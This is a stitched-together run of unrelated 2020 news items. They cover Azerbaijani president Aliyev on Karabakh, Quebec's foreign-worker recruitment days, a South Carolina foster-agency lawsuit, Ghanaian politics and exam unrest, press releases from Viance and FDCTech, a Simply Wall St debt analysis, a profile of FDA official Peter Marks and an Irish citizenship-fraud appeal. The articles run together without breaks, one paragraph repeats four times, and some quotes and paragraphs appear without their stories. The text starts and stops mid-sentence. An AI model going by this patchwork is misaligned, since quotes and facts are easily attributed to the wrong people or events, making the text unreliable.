lose anything because Azerbaijan did not undertake any financial obligations during that exploration period. On the contrary, even an unsuccessful result is also a result, as it gave us additional geological data, Azerbaijani president said. President Ilham Aliyev said that today, Azerbaijan is returning to the once abandoned Garabagh field in the 1990s and this giant jacket is a clear proof of that. At the same time, in the early 1990s, the then leadership of Azerbaijan the PFPA-Musavat tandem allowed for the occupation of our lands. In other words, as a result of their betrayal, treachery and desertion, our lands were occupied. If such an analogy can be drawn at all, Azerbaijan left Karabakh. In 2016, we recovered a part of our lands, drove the occupiers from these lands, life returned to these territories, our citizens returned there, Azerbaijan returned there. I am sure that Azerbaijan will return to its native lands, to the Karabakh land. Our territorial integrity will be fully restored. Just as we are returning to the once abandoned Garabagh field today, we will return to our native Karabakh land in the same manner. Karabakh is ours, Karabakh is Azerbaijan! the head of state said. The Quebec government and its various partners are gradually resuming international recruitment efforts, including the Journees Quebec (Quebec Days), which bring together businesses seeking to hire international talent. Quebec resumes foreign worker recruitment campaigns The Quebec government and its various partners are gradually resuming international recruitment efforts, including the Journees Quebec (Quebec Days), which bring together businesses seeking to hire international talent. Quebec resumes foreign worker recruitment campaigns The Quebec government and its various partners are gradually resuming international recruitment efforts, including the Journees Quebec (Quebec Days), which bring together businesses seeking to hire international talent. Quebec resumes foreign worker recruitment campaigns The Quebec government and its various partners are gradually resuming international recruitment efforts, including the Journees Quebec (Quebec Days), which bring together businesses seeking to hire international talent. Alexandra Miekus Aa Accessibility Font Style Serif Sans Font Size A A Quebec is holding online recruitment campaigns targeting foreign workers to help employers in the province fill labour shortages and support the provinces post-pandemic economic recovery. The planned recruitment initiatives called the Journees Quebec (Quebec Days) are led by the Ministere de lImmigration du Quebec, with the support of its network of representatives in various locations around the world: Dakar, Hong Kong, Los Angeles, Mexico City, New York, Paris and Rabat. The events that had been planned over the past four months were postponed back in March as a precautionary measure to stop the spread of the coronavirus (COVID-19). New dates have now been scheduled and include the following online events: October 19 to November 6, 2020: Recruitment Mission by Montreal International in information technology, video games and artificial intelligence; October 26-30, 2020: Quebec Tunis Days in health and multisector; November 3-6, 2020: Quebec Sao Paulo Days in the health sector; November 17-21, 2020: Quebec Bogota Days in health and multisector; November 30 to December 5, 2020: Quebec Paris Days in the health and multisector; November 30 to December 8, 2020: Quebec Mauritius and Madagascar Days in health and multisector; and January 2021: Quebec Dakar Days in health and information technology. Find out if you are eligible for any Canadian immigration programs The Journees Quebec events enable employers to review the available talent in a pool of candidates, find the right match, set up interviews and hire them. Foreign workers interested in accessing job offers or showcasing their skills to Quebec employers are invited to submit a registration application. The success of the Journees Quebec formula is based on the real possibility of finding a job and achieving personal goals in a stimulating new environment where creativity and boldness open up many horizons. Jobs are available in several regions of Quebec, and each of these regions offers its own unique way of life that reconciles personal, family and professional aspirations, according to the governments Web site. All planned recruitment activities will be carried out in a virtual format. Moreover, the eventual arrival of foreign workers will take place in accordance with the health measures prescribed by the Government of Quebec. Recruitment efforts undertaken as part of the Quebec Days fall within the framework of Quebecs efforts to find more workers for the health and technology sectors. In late May, the Quebec government announced major reforms to its immigration programs, including two new pilot immigration programs for nursing assistants and technology workers. Nurse aides, or orderlies, are in high demand throughout the province. According to the Government of Quebec, current programs are not meeting labour market demands. Since 2013, only 115 nursing assistants have been selected for permanent residence in Quebec. The new program will aim to bring in 550 nursing assistants per year. Similarly, artificial intelligence and information technology sectors are booming in Quebec. A new immigration pilot project will allow the province to select 550 highly skilled workers per year for immigration. Find out if you are eligible for any Canadian immigration programs 2020 CIC News All Rights Reserved With in-person classes beginning Monday, the new case represents just one stumbling block in the Catholic universitys long road to reopening amid the coronavirus pandemic. Compared with colleges sticking with online learning this fall, Notre Dame is taking one of the most aggressive approaches in offering face-to-face instruction and moved up its schedule to start earlier this year. How the school performs could serve as a bellwether for other universities. Judge allows lawsuit over evangelical foster agency's exemption to HHS rule to proceed Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment Correction Appended A Catholic mothers lawsuit against the state of South Carolina and federal officials for exempting an evangelical Christian foster agency from a federal non-discrimination mandate is allowed to proceed, according to a federal judge. Aimee Maddonna sued the U.S. Department of Health and Human Services and the South Carolina Department of Social Services in February 2019 over state funding being given to Miracle Hill Ministries. The lawsuit was filed after she claimed the agency prevented her from volunteering due to her Catholic beliefs. Miracle Hill Ministries, one of the states largest foster agencies that previously only worked with Protestant Christian volunteers, was granted a waiver last January exempting it from a Health and Human Services Department anti-discrimination rule enacted under the Obama administration. Maddonna, who is represented by the Americans United for Separation of Church and State, argues that such an exemption is a violation of the Establishment Clause of the First Amendment to the U.S. Constitution. The clause prohibits the government establishment of religion. In an order issued Monday, District Court Judge Timothy Cain, an Obama appointee, denied in part a motion to dismiss the U.S. Department of Health and Human Services and South Carolina from the lawsuit. The judge argued that Maddonna has plausibly alleged that Defendants conveyed a message endorsing religion by allowing state-licensed, government-funded [child-placement agencies] to reject prospective foster parents based on religious criteria. Cain applied the Lemon test, a legal precedent dictating what types of relationships between governments and religious entities violate the Establishment Clause. Under the Lemon test, governments can be tied to religious entities provided the relationship serves a secular purpose, does not primarily advance religion and does not foster excessive entanglement between government and religion. Plaintiff has set forth sufficient allegations that Defendants actions had the primary effect of advancing and endorsing religion and, thereby, violate the Lemon test and the requirements of the Establishment Clause, Cain wrote. Thus, the well-pled allegations in the Complaint sufficiently assert, for purposes of this order, that Defendants have violated both the second and third prongs of the Lemon test and, thereby, set forth a claim for violation of the Establishment Clause. The judge did, however, grant the governments motion to dismiss regarding claims that they violated the Equal Protection Clause of the 14th Amendment. Defendants proffered numerous legitimate government interests rationally related to their actions permitting the use of religious criteria by faith-based CPAs, the judge contends. Accordingly, Plaintiffs equal protection claim for religious discrimination fails as a matter of law and Defendants are entitled to dismissal of that claim. Americans United, a progressive advocacy group, celebrated the district court order. Were glad the court agreed that Aimees case can proceed, Americans United Senior Litigation Counsel Kenneth Upton said in a statement. [W]e look forward to stopping the government from violating our countrys fundamental promise of religious freedom that it gives us all the right to believe, or not, as we choose, but it doesnt give us the right to discriminate. Miracle Hill had garnered controversy over their refusal to work with non-Protestant, gay or lesbian volunteers, while still receiving state funds. Specifically, the HHS waiver allowed Miracle Hill to continue receiving state support so long as the Christian foster agency referred non-Christian volunteers to other agencies. In a letter sent to then-South Carolina Gov. Henry McMaster, the HHS Administration for Children and Families explained last year that the foster agency was protected by the Religious Freedom Restoration Act. Miracle Hills sincere religious exercise would be substantially burdened by application of the religious nondiscrimination requirement, stated the letter. subjecting Miracle Hill to that requirement, by denying South Carolinas exception request, is not the least restrictive means of advancing a compelling government interest on the part of HHS. Maddonna claimed in her lawsuit that Miracle Hill discriminated against her by not allowing her to volunteer through the program because she's Catholic and not evangelical Protestant. Maddonna clearly understood that she and her family were ineligible to be trained by or receive placements from Miracle Hill because they are Catholic, stated the lawsuit. Because of the religious requirements that Miracle Hill inserts into its provision of foster-care services, the Maddonnas were prevented from becoming a foster family or even volunteering to work with foster children. In July 2019, months after the lawsuit was filed, Miracle Hill announced that it will expand its foster program to include Roman Catholic Christians. Miracle Hill President and CEO Reid Lehman said in the July 2019 announcement that he and the organization recognize our previous stance has wounded other followers of Jesus Christ. Our calling as an organization is not primarily to evaluate and emphasize differences between various branches of Christianity or between denominations within Protestantism, stated Lehman. Rather, Miracle Hills spiritual identity is first and foremost that of brothers and sisters in Christ working together to minister to the needy in Christs name. Correction: Aug. 13: An earlier version of this article incorrectly stated that Miracle Hill Ministries was an adoption agency and that they placed children in foster homes. Miracle Hill reached out to The Christian Post to clarify that they do not do adoptions and that it is the South Carolina Department of Social Services that places children in foster homes. Miracle Hill screens potential foster parents on behalf of DSS. NDC Running mate Prof Jane Naana Opoku Agyemang has condemned the incident involving 14 final year students of some Senior High Schools writing the WASSCE this year. The students went on rampage destroying school properties and abusing teachers and invigilators over strict supervision. Others complained that their expected questions did not show up in the Integrated Science 2 paper. Some even went as far as verbally attacking the President; an action which led to their dismissal and subsequent ban from writing their remaining papers. Although the action has been overturned following the intervention of President Akufo-Addo, the former Education Minister under erstwhile Mahama administration described the incident as unfortunate, adding that it shows we have work to do. During a courtesy call to the Greater Accra Regional House of Chiefs at Dodowa, Prof Opoku Agyemang called for the assistance of the traditional leaders as the NDC attempts to regain power in order to improve the education sector and governance in the country. We know what is happening in our education Nananom this is where well need you, we need all of us as parents, we need all of us as responsible citizenship. We shouldnt get to a level where we have little children speaking ill of adults. It shows we have work to do she told a gathering of chiefs and traditional leaders at the Greater Accra Regional House of Chiefs at Dodowa. President Akufo-Addo asked for a recall of some 14 Senior High School students who were dismissed for their roles in the destruction of properties and misconduct after the Integrated Science 2 paper of the ongoing West African Senior School Examination (WASSCE). The said students would also have been banned from taking the rest of the papers but for the intervention of the President. Mr. Akufo-Addo directed the Ghana Education Service (GES) to reconsider the punishment to ban the students from taking the exam but maintained that they retain the dismissal. Prof. Jane Naana Opoku Agyemang on Monday, August 10, 2020 led an entourage of leading National Democratic Congress members as well as her campaign team to the Greater Accra Regional House of Chiefs as her first location as she begins her tour of the region. Source: ghanaweb.com Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video It is "unacceptable" for various groups, individuals, and countries to use the Beirut tragedy as an excuse for their political objectives, Foreign Ministry Spokesman Abbas Mousavi said during his weekly press conference on Monday, Xinhua news agency reported. Any judgment about the cause of the incident should be based on the results of a thorough investigation, said Mousavi. The Iranian spokesman referred to the western sanctions on Lebanon, saying that if those countries want to help Lebanon, they should first lift the sanctions they have imposed on the Lebanese people and government. The explosions in Beirut's port area on Tuesday left at least 158 people dead and more than 6,000 injured. --IANS rt/ "Pre-colored treated wood has transformed the Canadian market in the past decade and the concept is also growing in popularity with US contractors and DIYers. DesignWood pre-colored treated wood saves time and money for hundreds of thousands of outdoor projects in the most severe weather conditions," says Edie Kello, Viance's director of marketing. DesignWood was developed and optimized for use with Preserve CA/ACQ. The colorant component is pressure treated into the wood at the same time as the preservative system. The fully dissolved copper preservative penetrates deep into the wood cells providing protection against wood decay fungi and termites, and enhancing color life. So much so that DesignWood's proprietary formulation provides color that lasts up to three times longer than other products on the marketand outlasting cedar and redwood color. The natural beauty of the wood grains shows through a rich, warm brown tint. The new website is written in both English and Canadian French and has a clean, modern look that is easy to navigate. The content of the website gives viewers product features and benefits, photos, FAQ's, fact sheets, green certificates, warranty info, and contacts for where to buy. DesignWood is also marketed under the BareFoot Brown Decking and Woodland Brown Fencing brands. Visit designwood.com for more info. About Viance, LLC Viance, a leading provider of wood treatment preservatives, offers an extensive range of advanced wood treatment technologies and services to the global wood preservation industry. With expertise in wood biocides and wood protection chemicals, Viance technologies improve the performance and durability of wood products for sustainable building. Viance is a joint venture of Dupont and Venator Materials PLC. SOURCE Viance LLC Related Links https://www.designwood.com Irvine, CA, Aug. 11, 2020 (GLOBE NEWSWIRE) -- FDCTech, Inc. ("FDC" or the "Company," OTCQB: FDCT ), a fintech company with a full suite of FX technology and business solutions, today announced that Grentone Meta Solutions ("Grentone") a trading name of Greenstone Markets Limited is collaborating with FDC for distribution of the Condor FX Pro Trading Platform to retail and institutional forex markets in Asia. Grentone is a business and technology consultant, which has offices in China and Turkey, helps online FX & CFD brokerages set up their businesses, obtain the necessary licenses, and onboard clients. FDCTech's flagship product, Condor FX Pro, provides a complete trading suite for retail brokers, fund managers, and traders with proprietary charting tools, advanced order types, level II pricing, multi-tier margin management, and regulatory reporting tools. FDC integrated its Condor FX Pro Trading Platform with Grentone's customer relationship management (CRM), and a payment gateway, which allows for instant local payments across Asia. The Company released both the Condor Web Trader and Condor Mobile Trading platform in the Mandarin language and further plans to add more Asian languages. Grentone's CEO, Samuel Tay, an industry veteran since 1993, said, "We plan to distribute the Condor suite of FX software solutions to traders, fund managers, and brokers in the greater Asian Pacific Region. He added, "Grentone, internally, will use the fully integrated Condor FX Pro platform solution for proprietary trading and manage proprietary cash and assets. Greenstone Management (SVG) Limited will facilitate the clearing of multi-asset class margin trading on the regulated Asian markets." FDC's Chief Executive Officer, Mitchell M. Eaglstein, stated, "We plan to market and distribute our trading technologies in Asia using such strategic partnerships as COVID-19 pandemic is fueling a surge in online margin trading by retail investors." About Grentone Meta Solutions Grentone Meta Solutions is a trading name of Greenstone Markets Ltd., headquartered in Singapore, is a solution provider to brokers and money managers dealing with Forex (Foreign Exchange), Cryptocurrencies, Futures, Securities, Contract for Differences (CFDs), and other financial derivative instruments in Hong Kong, Taiwan, China, and other parts of Asia. FDCTech, Inc. FDCTech, Inc. ("FDC") formerly known as Forex Development Corporation is a US-based, fully integrated financial technology company. FDC delivers trading technology solutions to forex market participants looking to access the retail and institutional spot forex markets. I know that many people will understand me, many will judge me, and many will hate me, but God forbid you face such a choice that I had to face, she added. Thats why I say, people, take care of yourselves, please. What is going on right now is not worth a single lost life. Children are the most important thing in our life. New Delhi: A 29-year-old woman Rafia Qaseem Baig from Khyber Pakhtunkhwa has become the first Pakistani female to join the Bomb Disposal Unit (BDU) in the disturbed province that frequently witnesses terror attacks. Rafia Qaseem Baig, who joined police force as a constable seven years ago, will work in BDU after completing her 15-day training along with 31 other male members at Nowshera's School of Explosive Handling, media reports said. During her training, she will learn about the types of bombs, their identification and ways to defuse them. Rafia, who belongs to a highly educated family, said a blast near a sessions court seven years ago motivated her to join the force. She completed her master's degree in International Relations. She then pursued another master's degree in Economics and worked at International Rescue Committee where she developed a passion for law and enrolled in an LLB programme that is currently under way. Given her academic qualifications, she was offered jobs in many companies and non-government organisations. However, she chose to join police force in Khyber Pakhtunkhwa province when extremists were overtly targeting security forces. After her appointment, she was asked to undergo training sessions in areas including Adezai, Michni and Salman Khel in Peshawar, the capital of Khyber Pakhtunkhwa province. These were the declared red zones at that time. She spent 10 days patrolling these localities with a large number of male police personnel. Rafia was also the only female member of an investigation team that rescued Lady Reading Hospital physician Dr Intikhab Alam 48 hours after his abduction in 2010. She says the police force is not just a profession. It's a passion and inspiration for those who have a spirit of devotion for the country. More than 600 women are serving in the Khyber-Pakhtunkhwa police department in different capacities from junior clerk to deputy superintendent. For all the Latest World News, Download News Nation Android and iOS Mobile Apps. Howard Marks put it nicely when he said that, rather than worrying about share price volatility, 'The possibility of permanent loss is the risk I worry about... and every practical investor I know worries about.' It's only natural to consider a company's balance sheet when you examine how risky it is, since debt is often involved when a business collapses. Importantly, HRL Holdings Limited (ASX:HRL) does carry debt. But the real question is whether this debt is making the company risky. Why Does Debt Bring Risk? Debt and other liabilities become risky for a business when it cannot easily fulfill those obligations, either with free cash flow or by raising capital at an attractive price. If things get really bad, the lenders can take control of the business. While that is not too common, we often do see indebted companies permanently diluting shareholders because lenders force them to raise capital at a distressed price. Of course, debt can be an important tool in businesses, particularly capital heavy businesses. The first step when considering a company's debt levels is to consider its cash and debt together. See our latest analysis for HRL Holdings What Is HRL Holdings's Net Debt? As you can see below, HRL Holdings had AU$2.83m of debt, at June 2020, which is about the same as the year before. You can click the chart for greater detail. However, its balance sheet shows it holds AU$2.85m in cash, so it actually has AU$21.5k net cash. How Strong Is HRL Holdings's Balance Sheet? The latest balance sheet data shows that HRL Holdings had liabilities of AU$8.01m due within a year, and liabilities of AU$2.88m falling due after that. On the other hand, it had cash of AU$2.85m and AU$3.81m worth of receivables due within a year. So it has liabilities totalling AU$4.2m more than its cash and near-term receivables, combined. Of course, HRL Holdings has a market capitalization of AU$55.5m, so these liabilities are probably manageable. However, we do think it is worth keeping an eye on its balance sheet strength, as it may change over time. While it does have liabilities worth noting, HRL Holdings also has more cash than debt, so we're pretty confident it can manage its debt safely. Story continues Notably, HRL Holdings made a loss at the EBIT level, last year, but improved that to positive EBIT of AU$1.2m in the last twelve months. When analysing debt levels, the balance sheet is the obvious place to start. But it is future earnings, more than anything, that will determine HRL Holdings's ability to maintain a healthy balance sheet going forward. So if you're focused on the future you can check out this free report showing analyst profit forecasts. Finally, a company can only pay off debt with cold hard cash, not accounting profits. HRL Holdings may have net cash on the balance sheet, but it is still interesting to look at how well the business converts its earnings before interest and tax (EBIT) to free cash flow, because that will influence both its need for, and its capacity to manage debt. Happily for any shareholders, HRL Holdings actually produced more free cash flow than EBIT over the last year. That sort of strong cash generation warms our hearts like a puppy in a bumblebee suit. Summing up We could understand if investors are concerned about HRL Holdings's liabilities, but we can be reassured by the fact it has has net cash of AU$21.5k. The cherry on top was that in converted 366% of that EBIT to free cash flow, bringing in AU$4.3m. So we don't have any problem with HRL Holdings's use of debt. There's no doubt that we learn most about debt from the balance sheet. However, not all investment risk resides within the balance sheet - far from it. Consider for instance, the ever-present spectre of investment risk. We've identified 2 warning signs with HRL Holdings , and understanding them should be part of your investment process. At the end of the day, it's often better to focus on companies that are free from net debt. You can access our special list of such companies (all with a track record of profit growth). It's free. This article by Simply Wall St is general in nature. It does not constitute a recommendation to buy or sell any stock, and does not take account of your objectives, or your financial situation. We aim to bring you long-term focused analysis driven by fundamental data. Note that our analysis may not factor in the latest price-sensitive company announcements or qualitative material. Simply Wall St has no position in any stocks mentioned. Have feedback on this article? Concerned about the content? Get in touch with us directly. Alternatively, email editorial-team@simplywallst.com. REGINAHealth officials say 18 employees at a linen facility in Regina have tested positive for COVID-19. Saskatchewans Ministry of Health says 11 of the new COVID-19 cases announced in Regina on Saturday were either employees at K-Bro Linens or their close contacts. More infected workers were reported Sunday. All 150 employees at the plant have been tested for COVID-19, and officials say the risk of community transmission is low. The province says a microbiologist has ruled that linens processed at the facility remain safe to use in health-care centres. It says employees are taking required safety precautions, like practising physical distancing and wearing protective gear. Five new COVID-19 cases were reported Monday, bringing the provinces total to 1,450. The Coalition of Domestic Election Observers (CODEO) has called on the Inspector General of Police (IGP) to fast track investigations and possible prosecution of persons who perpetrated violence during the just-ended voter registration exercise. CODEO further asked the IGP to make available findings of its investigations to the public to foster confidence in the security agencies and to serve as a deterrent to others. It specifically mentioned incidences that happened at Banda and Dormaa West all in the Bono Region and Awutu Senya East in the Central Region. It made the call in its preliminary report on the phases 4, 5, and 6 of the just-ended exercise. CODEO calls on the Inspector General of Police (IGP) and the Ghana Police Service working with the Attorney General (AG) to act expeditiously to complete all investigations including the violent incidents in Banda which resulted in the death of one young man, as well as the incident in Awutu Senya East in the Central Region and in Dormaa West in the Bono region. Persons found culpable in various criminal breaches of the law should be prosecuted and sanctioned in accordance with the laws of Ghana. CODEO urges the Police administration to share updates of these investigations with the Ghanaian public to foster confidence in the security agencies and to also server as a deterrent against future incidents of this nature. Failure to enforce the rule of law will erode confidence in the security agencies and the rule of law. What happened in Banda and Dormaa West? In Banda, Silas Wulochamey , a 28-year-old man was allegedly stabbed at a registration centre at Banda in the Bono Region. The deceased, a graduate teacher trainee from the Methodist College of Education at Akim Oda in the Eastern Region was allegedly accosted by some unknown persons and mayhem unleashed on him at Banda Kabrono when he was returning from a visit to his pastor at Wenchi. Reports suggest that he was stabbed at the registration centre following an altercation between some New Patriotic Party (NPP) and National Democratic Congress (NDC) supporters. Supporters of the New Patriotic Party and the National Democratic Congress clashed in the Bono regional community leading to the death of one person. One vehicle and motorbike were burnt amidst gunshots with two others injured. Three persons were arrested as a result. Awutu Senya East In Awutu Senya East, a shooting occurred during a confrontation between persons believed to be aligned to the New Patriotic Party and the National Democratic Congress. Both sides claimed they were attacked by each other leading to the shooting and subsequent arrest of four persons. Four persons were arrested in connection with the incident. Mrs. Koomson insists that she fired the weapon in self-defence and has received backing from fellow New Patriotic Party members, including government appointees. Despite her claims, there were calls for her to resign or be sacked from her Special Development Initiatives ministerial portfolio by political stakeholders like the National Democratic Congress and neutral observers like the National Peace Council. citinewsroom Peter Marks, a self-effacing cancer doctor known for his maniacal work ethic and straight-arrow approach, is sitting on the hottest of hot seats. A top Food and Drug Administration career official, Marks is likely to decide in the next several months whether a coronavirus vaccine is safe and effective enough to be given to tens of millions of Americans. That may be among the most critical decisions in the history of the agency, one with sweeping health, economic and political consequences. It's a ruling of intense interest to President Donald Trump, who has not hesitated to attack government health officials he deems politically unhelpful, and who has boasted about pushing officials to speed up vaccine development. Just last week, Trump said in a radio interview that a vaccine might be available "right around" the Nov. 3 election - months earlier than Anthony Fauci, the nation's leading infectious-disease expert, has predicted. Such statements have scientists, health experts and lawmakers watching anxiously for political pressure on the FDA, in addition to possible technical foul-ups and mistakes in scientific judgment. The way the vaccine decision is handled could have an impact on the presidential election and whether enough people are willing to get vaccinated to curb the pandemic and revive the economy. If safety problems are missed, it could be disastrous for this crisis and undermine public confidence in all vaccines. Thrust into this crucible is a 57-year-old Brooklyn native who oversees a team of experts charged with scrutinizing every bit of data on coronavirus vaccine candidates. Typically, career officials at the FDA, not political appointees, have the final word on medical products. If historical precedent holds, "the buck will stop" with Marks, said Jason Schwartz, an expert on vaccine decision-making at the Yale School of Public Health. "He will ultimately be the single most critical figure in the vaccine decision." That makes Marks the most important government employee most people have never heard of. Scott Gottlieb, Trump's first FDA commissioner, expressed confidence in Marks, saying he was skilled in working in a political environment without advancing his own political agenda. "He'd do what he needed to do to secure our public health prerogatives," Gottlieb said. "And he was always working, always. He would call me at random times when an idea was percolating in his head." A close associate predicted Marks on vaccines "won't play the political game one way or another. If he gets pushed, he'll go public or maybe resign. He won't be quiet." The individual spoke on the condition of anonymity to offer a candid assessment. Still, some scientists remain intensely worried. They say things could go seriously awry in an administration with a track record of politicizing science and an agency accused of caving to pressure on a past presidential priority. While "I have high faith" in FDA scientists, "I think we are seeing things go on and norms destroyed quite commonly" in the Trump administration, said Jesse Goodman, a Georgetown University professor and former director of the FDA's Center for Biologics Evaluation and Research, which Marks now heads. "We have seen the tremendous pressure put on other science-based agencies, and we haven't always seen them stand up to that," he said. In his view, the FDA's reputation was damaged by its emergency authorization, since reversed, of hydroxychloroquine, an unproven drug for the coronavirus that was touted by Trump. "There needs to be no more of that," he said. Marks said he understands the stakes: "What I hear in my head is out of a James Bond movie, when M [the head of MI6] says, 'This is the big one, 007, do not screw it up.' " He said he realizes it is part of his responsibility to make sure a vaccine decision isn't rushed. "Let's be realistic," he said. "There are so many eyes on this vaccine that if somebody decided to go around the process, I think there would be red flags that would be put up by a variety of sources. So I think it's going to be critical that we work through the process." FDA Commissioner Stephen Hahn said in a statement that Marks and his scientists will "call the balls and strikes" on a vaccine and will not cut corners. "There are no circumstances under which the FDA would allow a vaccine to be released for use by the public if it is not shown to be safe," Hahn said. Some FDA watchers, predicting mounting pressure as the election approaches, are not assuaged. They note Marks's political bosses have the legal authority to overrule him. "This is not a hypothetical," said Arthur Caplan, director of the division of medical ethics at the NYU Grossman School of Medicine. "We already know the administration has staked almost its entire reelection on having a vaccine." - - - On Feb. 27, Marks had dinner in New Haven, Conn., with his friend Albert Ko, a Yale University infectious-disease expert. The two had gone through medical training together and taken family vacations in Rhode Island; Marks sailed and Ko fished. But on this night, their jocular conversation turned dark as they contemplated what lay ahead with the looming pandemic. "You are on the edge of the cliff, and you don't know what the bottom is going to look like," recalled Ko. "We were both trying to figure out how to prepare. What has happened subsequently has been horrible." Ko went on to advise Connecticut Democratic Gov. Ned Lamont on the state's response to the pandemic. Marks gave a speech at Yale about including minorities in clinical trials. A few days later, authorities confirmed the first coronavirus case in New York. In April, Marks proposed a crash program for the large-scale development and production of vaccines. Having once worked in the pharmaceutical industry, he believed he knew how to speed up the process. The long-time Star Trek fan dubbed the idea "Operation Warp Speed" - a name that stuck for the administration's effort to fast-track a vaccine and other countermeasures. When the effort was put together, Marks was included as a vaccine expert. But after Moncef Slaoui, who worked in vaccines at the pharmaceutical firm GlaxoSmithKline, was named head of the initiative and other experts were hired, Marks returned to his FDA job. Some officials said Marks and Slaoui clashed; Marks has said he decided he was more useful as a regulator. Supporters welcomed his decision. The vaccine decision is "huge and you want the head of the biologics center to make it," said Peter Lurie, a top FDA official during the Obama administration. In June, Marks took the unusual - and many vaccine experts said wise - step of laying out the rules of the road for coronavirus vaccine developers. In a guidance, the FDA said any product would have to be proven safe and at least 50% more effective than a placebo in a clinical study in preventing the disease or decreasing its severity. Officials said the requirement applies both to full approval or an emergency authorization - a temporary approval that can be granted more quickly on less extensive data. Some experts viewed the 50% benchmark as too low, while others said it was too high. Marks argues it is reasonable, roughly equivalent to the flu vaccine. He said the agency didn't want to go lower because getting a vaccine that doesn't help people "is not a victory in any way. . . . We will just be back in the same mess." He also said that eradicating the virus will likely require a vaccine closer to 70% effective - with 70% of the population taking it. Health experts warn releasing a vaccine that is not effective enough or causes significant side effects could fuel already-roiling anti-vaccine sentiment, with catastrophic consequences. A Gallup poll released Friday showed that 65% of Americans said they would take a vaccine, but 35% said they would not, even if it were free and approved by the FDA. To try to bolster public confidence, the FDA said it will publicly consult with its advisory panel of vaccine experts before clearing any vaccines. Paul Offit, a panel member who is director of the Vaccine Education Center at Children's Hospital of Philadelphia, said he understands there will be an Oct. 22 meeting to consider covid-19 data. But the timing likely depends on whether one or more of the manufacturers in late-stage trials have critical data. The question of emergency authorization may become a flashpoint. Consumer watchdog group Public Citizen said last week the FDA should announce it won't authorize a vaccine on an expedited, emergency basis - or risk hurting public trust. But many health experts say the agency almost surely will use its emergency authority, perhaps for a subgroup of the population especially at risk, considering the urgency of the crisis. And the FDA said it might be an appropriate step after a vaccine is proven safe and effective but before its manufacturer submits an application or the agency completes a full review. One part of Marks's job is to oversee an FDA "expanded access" program for the use of convalescent plasma for patients with covid-19. Doctors theorize antibody-rich plasma, derived from the blood of people who have recovered from the disease, may benefit those who are battling it. Earlier this year, the FDA approved the program, which has been organized by the Mayo Clinic; more than 50,000 patients have received plasma. But scientists say it remains unclear whether the treatment works and that the program has inadvertently made it harder to complete the rigorous clinical trials that would determine efficacy. Marks said the program was set up because the agency was being overwhelmed by individual requests from doctors trying to help desperately ill patients. He said it was never supposed to replace trials by hospitals that, he said, did not start as quickly as he had hoped. - - - Marks came to the FDA eight years ago with a varied background. As an undergraduate at Columbia University, he planned to be a research biochemist. But during a part-time job as a phlebotomist at a local hospital, he found he liked helping patients and went to medical school. He also got a PhD in cell and molecular biology. Marks wound up at Brigham and Women's Hospital in Boston, where Norman "Ned" Sharpless, director of the National Cancer Institute and former acting FDA commissioner, trained in the late 1990s. He remembers Marks as a young attending physician who often took 3 a.m. calls from doctors who did not know how to stop patients' excessive bleeding. "We loved Peter," Sharpless said. "He knew everything about every weird blood problem you could call about. He'd give advice, and it usually worked." At one point, Sharpless realized Marks almost always seemed on call late at night. "I think he had trouble telling people no," Sharpless said. "That, I assure you, he has developed." After his time at Brigham and Women's, Marks worked for drug companies Genzyme and Novartis but concluded business was not his passion and returned to academic medicine at Yale, becoming chief clinical officer at the cancer hospital there. He applied to the FDA after seeing an ad in the New England Journal of Medicine, thinking his diverse experience might be a good fit. Since Marks became director in 2016, the center - whose 1,200 employees regulate biological drugs, cellular therapies and blood as well as vaccines - has granted landmark approvals for novel treatments, including the first CAR T-cell therapy for advanced cancer and pioneering gene therapies for a rare form of childhood blindness and spinal muscular atrophy, a devastating illness that can affect infants. Last December, the FDA approved the first Ebola vaccine. In January 2019, amid a shutdown of the federal government, Marks flew to San Francisco to meet with prominent scientists who were frustrated about what they saw as overly rigid FDA rules on CAR T-cell therapy. The meeting was at times heated, "but he listened, understood the problem and was willing to clarify the FDA's goals," said Ellen Sigal, founder and chairperson of Friends of Cancer Research, the advocacy group that organized the meeting. Among the other high-pressure situations he has been involved in, former colleagues say, were negotiating in 2016 with congressional Republicans who wanted to sharply reduce FDA's regulations on stem cells and other regenerative therapies and taking steps to safeguard the blood supply during the Zika outbreak. Within the agency, Marks is known as a popular manager who cackles when he laughs and used to host ice cream socials and cookie exchanges for staffers. "I used to go out and buy Popsicles," he said. "No federal funds were used." - - - Experts say deciding on the first vaccines will be especially difficult if the data isn't clear-cut, and shows so-so efficacy and side effects. "I wouldn't want to be in [Marks's] position," said Lurie, the former FDA official. "It's an awesome responsibility." Marks is clear about what he can and cannot do, especially when it comes to attitudes about vaccines. He said he doesn't expect to influence die-hard vaccine opponents, but rather is focused on people who are "not so much hard core, but coming along for the ride due to social media and the doubts raised. It's really critical to help those people feel reassured." Even after the FDA clears the first coronavirus vaccine, the agency will require the manufacturer to conduct safety monitoring for any problems, he noted. And some answers might not be clear immediately: Will the vaccine need to be given every year? Could the virus change genetically? "All those things keep you up at night," he said. But, he added, "Our job is to do our best, and to deal with first wave of vaccines that are coming through and make sure they are as safe as they can be." - - - The Washington Post's Yasmeen Abutaleb contributed to this report. An Albanian man, who fraudulently obtained Irish citizenship by pretending to be a Kosovan refugee, has had his 18-month jail term halved by the Court of Appeal in what is believed to be the first ever case of its type here. Emri Bardhoshis false identity was five years younger than he was, and he came clean when he feared that this would hamper his treatment for a medical problem he developed. The now 42-year-old had presented himself as a Kosovan fleeing war in the Balkans, when he arrived in the back of a lorry in 2001. He also gave a false name and date of birth. Bardhoshi failed in his application for refugee status, but was granted Leave to Remain in 2007, and ultimately became a naturalised citizen under his false identity. He later obtained Irish passports for himself and three of his four children using that same identity. By 2017, Bardhoshi was a respected take-away owner in Westmeath, involved in fundraising for charity. However, he developed liver problems and became concerned about receiving treatment when his date of birth understated his age by five years. He consulted a solicitor in order to bring his position to the attention of the authorities. The separated father of four, of Roseville, Mullingar Road, Castlepollard, Co Westmeath came before Judge Keenan Johnson at Mullingar Circuit Criminal Court in May. He pleaded guilty to four offences relating to applying for Irish passports for his three youngest children and himself, and with making a false declaration on 21 February 2012 in his application for citizenship. He was sentenced to three years in prison with the final 18 months suspended, and was given until September 1 to get his affairs in order before going into custody. The passports of his three youngest children were revoked, he lost his driving licence, his Irish citizenship is under review, and he now also faces the prospect of being deported. Last Friday, Bardhoshi appealed against the severity of his sentence to the Court of Appeal. His barrister, Sean Gillane SC, submitted that the judge had placed undue emphasis on the need for 